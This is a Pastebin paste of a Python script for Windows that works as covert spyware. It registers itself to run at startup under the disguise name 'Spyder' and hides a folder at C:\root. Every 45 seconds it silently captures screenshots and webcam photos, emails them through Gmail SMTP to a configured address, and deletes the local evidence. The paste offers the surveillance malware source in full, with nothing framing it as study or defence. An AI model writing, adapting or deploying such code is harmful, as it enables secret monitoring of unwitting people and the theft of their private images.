Advertisement
Guest User

Script

a guest
Sep 7th, 2018
502
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 11.63 KB | None | 0 0
  1. import os
  2. import cv2
  3. import time
  4. import numpy
  5. import scipy
  6. import string
  7. import random
  8. import smtplib
  9. import _winreg
  10. import requests
  11. import pyautogui
  12. import subprocess
  13. from email import Encoders
  14. from email.MIMEBase import MIMEBase
  15. from email.mime.image import MIMEImage
  16. from email.mime.multipart import MIMEMultipart
  17. from email.mime.application import MIMEApplication
  18.  
  19.  
  20.  
  21. fromadd = '[email protected]'
  22. password = 'password'
  23.  
  24.  
  25.  
  26. def is_at_startup():
  27.  
  28.     areg = _winreg.ConnectRegistry(None, _winreg.HKEY_CURRENT_USER)
  29.  
  30.     try:
  31.         akey = _winreg.OpenKey(areg, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Spyder.exe', 0, _winreg.KEY_WRITE)
  32.         areg.Close()
  33.         akey.Close()
  34.  
  35.     except WindowsError:
  36.  
  37.         key = _winreg.OpenKey(areg, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, _winreg.KEY_SET_VALUE)
  38.         _winreg.SetValueEx(key, 'Spyder', 0, _winreg.REG_SZ, 'C:\Program Files (x86)\Spyder\Spyder.exe')
  39.  
  40.         areg.Close()
  41.         key.Close()
  42.  
  43.  
  44.  
  45. def naming():
  46.  
  47.     global name
  48.     global clock
  49.     global webcam_name
  50.     global screenshot_name
  51.    
  52.     name = ''
  53.    
  54.     for i in range(20):
  55.         x = random.randint(0, 61)
  56.         name += string.printable[x]
  57.  
  58.     clock = time.ctime().replace(':', '-')
  59.     screenshot_name = clock + ' _Screenshot_ ' + name + '.jpg'
  60.     webcam_name = clock + ' _Webcam_ ' + name + '.jpg'
  61.  
  62.  
  63.  
  64. def make_folder():
  65.  
  66.     if os.path.exists(os.path.join('C:' + os.sep, 'root')) and os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')) and os.path.exists((os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))) and os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')) and os.path.exists(os.path.join(r'C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
  67.         subprocess.call('attrib +s +h "C:\\root"', creationflags=0x08000000)
  68.  
  69.  
  70.     if os.path.exists(os.path.join('C:' + os.sep, 'root')):
  71.         pass
  72.  
  73.  
  74.     if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')):
  75.         pass
  76.  
  77.  
  78.     if os.path.exists((os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))):
  79.         pass
  80.  
  81.  
  82.     if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')):
  83.         pass
  84.  
  85.     if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
  86.         pass
  87.  
  88.  
  89.     if not os.path.exists(os.path.join('C:' + os.sep, 'root')):
  90.         os.mkdir(os.path.join('C:' + os.sep, 'root'))
  91.         os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet'))
  92.         os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))
  93.         os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))
  94.         os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))
  95.  
  96.         subprocess.call('attrib +s +h "C:\\root"', creationflags=0x08000000)
  97.  
  98.  
  99.     if not os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')):
  100.         os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet'))
  101.  
  102.  
  103.     if not os.path.exists((os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))):
  104.         os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))
  105.         os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))
  106.         os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))
  107.  
  108.  
  109.     if not os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')):
  110.         os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))
  111.        
  112.  
  113.     if not os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
  114.         os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))
  115.  
  116.  
  117.  
  118. def is_internet():
  119.  
  120.     try:
  121.         requests.get("http://www.google.com")
  122.         return True
  123.  
  124.     except requests.ConnectionError:
  125.         return False
  126.  
  127.  
  128.  
  129. def login():
  130.  
  131.     global msg
  132.  
  133.     sessions = smtplib.SMTP('smtp.gmail.com', '587')
  134.     sessions.ehlo()
  135.     sessions.starttls()
  136.     sessions.ehlo()
  137.     sessions.login(fromadd, password)
  138.     sessions.sendmail(fromadd, toadd, msg.as_string())
  139.     sessions.quit()
  140.  
  141.     msg = MIMEMultipart()
  142.  
  143.  
  144.  
  145. def capturing():
  146.  
  147.     os.chdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet'))
  148.  
  149.     screenshot = pyautogui.screenshot()
  150.     screenshot.save(screenshot_name)  
  151.  
  152.     cam = cv2.VideoCapture(cv2.CAP_DSHOW)
  153.     ret, frame = cam.read()
  154.     cv2.imwrite(webcam_name, frame)
  155.     cam.release()
  156.     cv2.destroyAllWindows()
  157.  
  158.  
  159.  
  160. def no_internet_screenshot():
  161.     os.chdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))
  162.     screenshot = pyautogui.screenshot()
  163.     screenshot.save(screenshot_name)
  164.  
  165.  
  166.  
  167. def no_internet_webcam():
  168.     os.chdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))
  169.  
  170.     cam = cv2.VideoCapture(cv2.CAP_DSHOW)
  171.     ret, frame = cam.read()
  172.     cv2.imwrite(webcam_name, frame)
  173.     cam.release()
  174.     cv2.destroyAllWindows()
  175.  
  176.  
  177.  
  178. def send_mail(fromadd, toadd):
  179.  
  180.     global msg
  181.  
  182.     msg = MIMEMultipart()
  183.     msg['From'] = fromadd
  184.     msg['To'] = toadd
  185.     msg['Subject'] = '-- Screenshot & Webcam  - Internet Connection'
  186.  
  187.     screenshot_data = open(screenshot_name, 'rb').read()
  188.     webcam_data = open(webcam_name, 'rb').read()
  189.    
  190.     send_screenshot = MIMEImage(screenshot_data, name=os.path.basename(screenshot_name))
  191.     send_webcam_pic = MIMEImage(webcam_data, name=os.path.basename(webcam_name))
  192.  
  193.     msg.attach(send_screenshot)
  194.     msg.attach(send_webcam_pic)
  195.    
  196.     if is_internet():
  197.         login()
  198.        
  199.         for f in os.listdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')):
  200.             os.remove(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet', f))
  201.  
  202.    
  203.  
  204. def no_internet_sending_screenshot(fromadd, toadd):
  205.  
  206.     global msg
  207.     msg = MIMEMultipart()
  208.     msg['From'] = fromadd
  209.     msg['To'] = toadd
  210.     msg['Subject'] = '-- Screenshot  - No Internet'
  211.  
  212.     screenshot_path = []
  213.     del_path = []
  214.     screenshot_num = 0
  215.  
  216.     for screenshot_image in os.listdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
  217.         abs_path = os.path.join('C:' + os.sep,'root' + os.sep, 'no_internet' + os.sep, 'Screenshot' + os.sep, screenshot_image)
  218.         screenshot_path.append(abs_path)
  219.  
  220.     while len(screenshot_path) > 0:
  221.         if os.path.getsize(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')) > 0:
  222.             for screenshot_img in screenshot_path:
  223.                 if len(screenshot_path) > 100:
  224.                     part = MIMEBase('application', 'octet-stream')
  225.                     part.set_payload(open(screenshot_img, 'rb').read())
  226.                     Encoders.encode_base64(part)
  227.                     part.add_header('Content-Disposition', 'attachment; filename={}'.format(os.path.basename(screenshot_img)))
  228.                     msg.attach(part)
  229.  
  230.                     del_path.append(screenshot_img)
  231.                     screenshot_num += 1
  232.                    
  233.                     if screenshot_num == 100:
  234.                         login()
  235.  
  236.                         capturing()
  237.                         send_mail(fromadd, toadd)
  238.  
  239.                         for dlt in del_path:
  240.                             screenshot_path.remove(dlt)
  241.                             os.remove(dlt)
  242.  
  243.                         del_path = []
  244.  
  245.                         screenshot_num = 0
  246.  
  247.                 else:
  248.                     for screenshot_img in screenshot_path:
  249.                         part = MIMEBase('application', 'octet-stream')
  250.                         part.set_payload(open(screenshot_img, 'rb').read())
  251.                         Encoders.encode_base64(part)
  252.                         part.add_header('Content-Disposition', 'attachment; filename={}'.format(os.path.basename(screenshot_img)))
  253.                         msg.attach(part)
  254.  
  255.                         del_path.append(screenshot_img)
  256.                         screenshot_num += 1
  257.  
  258.                         if screenshot_num == len(screenshot_path):
  259.                             login()
  260.  
  261.                             capturing()
  262.                             send_mail(fromadd, toadd)
  263.  
  264.                             for dlt in del_path:
  265.                                 screenshot_path.remove(dlt)
  266.                                 os.remove(dlt)
  267.  
  268.                             del_path = []
  269.  
  270.         else:
  271.             break
  272.  
  273.  
  274. def no_internet_sending_webcam(fromadd, toadd):
  275.  
  276.     global msg
  277.     msg = MIMEMultipart()
  278.     msg['From'] = fromadd
  279.     msg['To'] = toadd
  280.     msg['Subject'] = '-- Webcam pic  - No Internet'
  281.  
  282.     webcam_path = []
  283.     del_path = []
  284.     webcam_num = 0
  285.  
  286.     for webcam_image in os.listdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')):
  287.         abs_path = os.path.join('C:' + os.sep,'root' + os.sep, 'no_internet' + os.sep, 'Webcam' + os.sep, webcam_image)
  288.         webcam_path.append(abs_path)
  289.  
  290.     while len(webcam_path) > 0:
  291.         if os.path.getsize(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')) > 0:
  292.             for webcam_img in webcam_path:
  293.                 if len(webcam_path) > 100:
  294.                     part = MIMEBase('application', 'octet-stream')
  295.                     part.set_payload(open(webcam_img, 'rb').read())
  296.                     Encoders.encode_base64(part)
  297.                     part.add_header('Content-Disposition', 'attachment; filename={}'.format(os.path.basename(webcam_img)))
  298.                     msg.attach(part)
  299.  
  300.                     del_path.append(webcam_img)
  301.                     webcam_num += 1
  302.                    
  303.                     if webcam_num == 100:
  304.                         login()
  305.  
  306.                         capturing()
  307.                         send_mail(fromadd, toadd)
  308.  
  309.                         for dlt in del_path:
  310.                             webcam_path.remove(dlt)
  311.                             os.remove(dlt)
  312.  
  313.                         del_path = []
  314.  
  315.                         webcam_num = 0
  316.  
  317.                 else:
  318.                     for webcam_img in webcam_path:
  319.                         part = MIMEBase('application', 'octet-stream')
  320.                         part.set_payload(open(webcam_img, 'rb').read())
  321.                         Encoders.encode_base64(part)
  322.                         part.add_header('Content-Disposition', 'attachment; filename={}'.format(os.path.basename(webcam_img)))
  323.                         msg.attach(part)
  324.  
  325.                         del_path.append(webcam_img)
  326.                         webcam_num += 1
  327.  
  328.                         if webcam_num == len(webcam_path):
  329.                             login()
  330.  
  331.                             capturing()
  332.                             send_mail(fromadd, toadd)
  333.  
  334.                             for dlt in del_path:
  335.                                 webcam_path.remove(dlt)
  336.                                 os.remove(dlt)
  337.  
  338.                             del_path = []
  339.  
  340.         else:
  341.             break
  342.  
  343.  
  344. def main():
  345.  
  346.     is_at_startup()
  347.     make_folder()
  348.  
  349.     while True:
  350.  
  351.         naming()
  352.  
  353.         if is_internet():
  354.  
  355.             no_internet_sending_screenshot(fromadd, toadd)
  356.             no_internet_sending_webcam(fromadd, toadd)
  357.  
  358.             capturing()
  359.             send_mail(fromadd, toadd)
  360.  
  361.             time.sleep(45)
  362.  
  363.  
  364.         else:
  365.  
  366.             no_internet_screenshot()
  367.             no_internet_webcam()
  368.  
  369.             time.sleep(45)
  370.  
  371.  
  372. if __name__ == '__main__':
  373.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement